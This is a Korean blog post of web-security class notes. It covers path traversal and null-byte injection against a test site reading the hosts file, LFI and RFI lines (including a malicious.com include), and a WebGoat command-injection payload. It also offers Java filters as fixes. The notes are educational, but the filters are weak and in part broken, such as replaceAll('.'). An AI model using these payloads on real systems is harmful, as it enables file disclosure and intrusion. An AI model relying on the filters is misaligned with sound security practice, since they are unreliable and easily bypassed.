[웹보안] 웹보안 3일차 - 오후
졸리다 졸리다 졸리다아아아
1. 다운로드 취약점
다운로드 취약점 테스트
1) 경로(path traversal)
다운로드 요청 url에 상대 경로가 들어가는 경우 ../../ 을 이용하여 다른 파일을 다운받는다
host/../../../../../../
../../../../../../windows/system32/drivers/etc/hosts
http://php.testsparker.com/process.php?file=Generics/index.nsp
이렇게 생겨먹은걸
http://php.testsparker.com/process.php?file=../../../../../../windows/system32/drivers/etc/hosts
2) 널바이트 인젝션
%00 혹은 0x00을 사용해 특정 확장자를 숨기기 위한 목적으로 사용되거나
뭐 또 나쁜짓 하겠지
졸려서 뭔말인지도 잘 못알아 듣겠슴....
예)
http://php.testsparker.com/process.php?file=../../../../../../../windows/system32/drivers/etc/hosts%00.nsp
이렇게 하면 시스템 정보를 가져 올 수 있다
위에 보면 호스트 정보가 표출 된다.
../를 이용해 상대경로로 해당 시스템정보가 있는 경로를 찾아가고
%00.nsp 를 이용해 해당 정보를 받아온다
%00.nsp를 넣는 이유는
burp로 해당 사이트를 따보니 파일 다운로드 확장자는 nsp라는걸 확인 했고
%00 이 널바이트를 이용해 hosts까지만 읽고 뒤쪽은 잘라내 버리도록 한다
.nsp는 잘리기 전에 해당 확장자면 파일 다운로드가 이루어 질 것 이라는걸 예측후 넣은 것
뭔말인지 모르겠지만 나도 모르겠다 개어렵네
해결 방법
1 2 | data = data.replaceAll("\"", ""); data = data.replaceAll(".", ""); | cs |
이런식으로 받아온 파일명의 텍스트를 필터 하는 방법으로 해결 한다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | public class XpathFilter { static String Xpath(String data) { // TODO Auto-generated method stub data = data.replaceAll("\"", ""); data = data.replaceAll("'", ""); data = data.replaceAll("(", ""); return data; } static String crlf(String data) { // TODO Auto-generated method stub data = data.replaceAll("\r", ""); data = data.replaceAll("\n", ""); return data; } static String download(String data) { // TODO Auto-generated method stub data = data.replaceAll("./", ""); data = data.replaceAll("../", ""); data = data.replaceAll("..\\", ""); data = data.replaceAll("\\\\", ""); return data; } } | cs |
이런식으로 필터 클래스 만들어서 계속 가져다 쓰면 편함
LFI(local file inclusion)
file?param=../../../etc/[asswd
RFI(Remote file inclusion)
file?param=http://www.malicious.com/a.txt
2. 파라미터 변조
명령어를... 그.. 뭐지... 그...
그냥.. 파라미터에 명령어 넣지 말고 인자값으로 이프문 써서 실행 되도록 수정 하면 안전하겠지..
1 2 3 4 5 6 7 8 9 10 11 12 | String results; String fileData = null; helpFile = helpFile.replaceAll("\\.help", "\\.html"); if (osName.indexOf("Windows") != -1) { // Add quotes around the filename to avoid having special characters in DOS // filenames results = exec(s, "cmd.exe /c dir /b \"" + safeDir.getPath() + "\""); fileData = exec(s, "cmd.exe /c type \"" + new File(safeDir, helpFile).getPath() + "\""); } | cs |
이런코드 같은데 저런거 그냥 앵간하면 쓰지 말자.
어지간한 프로젝트에선 쓸일도 없을거임.
" & netstat -rn
-> url
%22+%26+netstat+-rn
webgoat에서 명령어 날리는 프록시 가로채서
%22+%26+netstat+-rn
이거 넣어 주면 해당서버에서 저 명령어가 " & netstat -rn 이걸로 바뀐다음 실행된다.
해결방법
1 2 3 4 5 6 7 8 | static String commandIn(String data) { // TODO Auto-generated method stub data = data.replaceAll("&", ""); data = data.replaceAll("%26", ""); data = data.replaceAll("%22", ""); data = data.replaceAll("\"", ""); return data; } | cs |
이런 필터 만들어서
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | String results; String fileData = null; helpFile = helpFile.replaceAll("\\.help", "\\.html"); // 필터링 발동! helpFile = XpathFilter.commandIn(helpFile); if (osName.indexOf("Windows") != -1) { // Add quotes around the filename to avoid having special characters in DOS // filenames results = exec(s, "cmd.exe /c dir /b \"" + safeDir.getPath() + "\""); fileData = exec(s, "cmd.exe /c type \"" + new File(safeDir, helpFile).getPath() + "\""); } | cs |
7번 라인 처럼 이렇게 필터링 해주자
-이전 포스팅 -
2017/06/03 - [Yame Programmer/웹보안] - [웹보안] 웹보안 3일차 - 오전
2017/05/27 - [Yame Programmer/웹보안] - [웹보안] 웹보안 2일차 - 오후
2017/05/27 - [Yame Programmer/웹보안] - [웹보안] 웹보안 2일차 - 오전
2017/05/20 - [Yame Programmer/웹보안] - [웹보안] 웹보안 1일차 - 오후
2017/05/20 - [Yame Programmer/웹보안] - [웹보안] 웹보안 1일차 - 오전
'Yame Programmer > 웹보안' 카테고리의 다른 글
[웹보안] 웹보안 4일차 - 오후 (0) | 2017.06.10 |
---|---|
[웹보안] 웹보안 4일차 - 오전 (0) | 2017.06.10 |
[웹보안] 웹보안 3일차 - 오전 (0) | 2017.06.03 |
[웹보안] 웹보안 2일차 - 오후 (0) | 2017.05.27 |
[웹보안] 웹보안 2일차 - 오전 (0) | 2017.05.27 |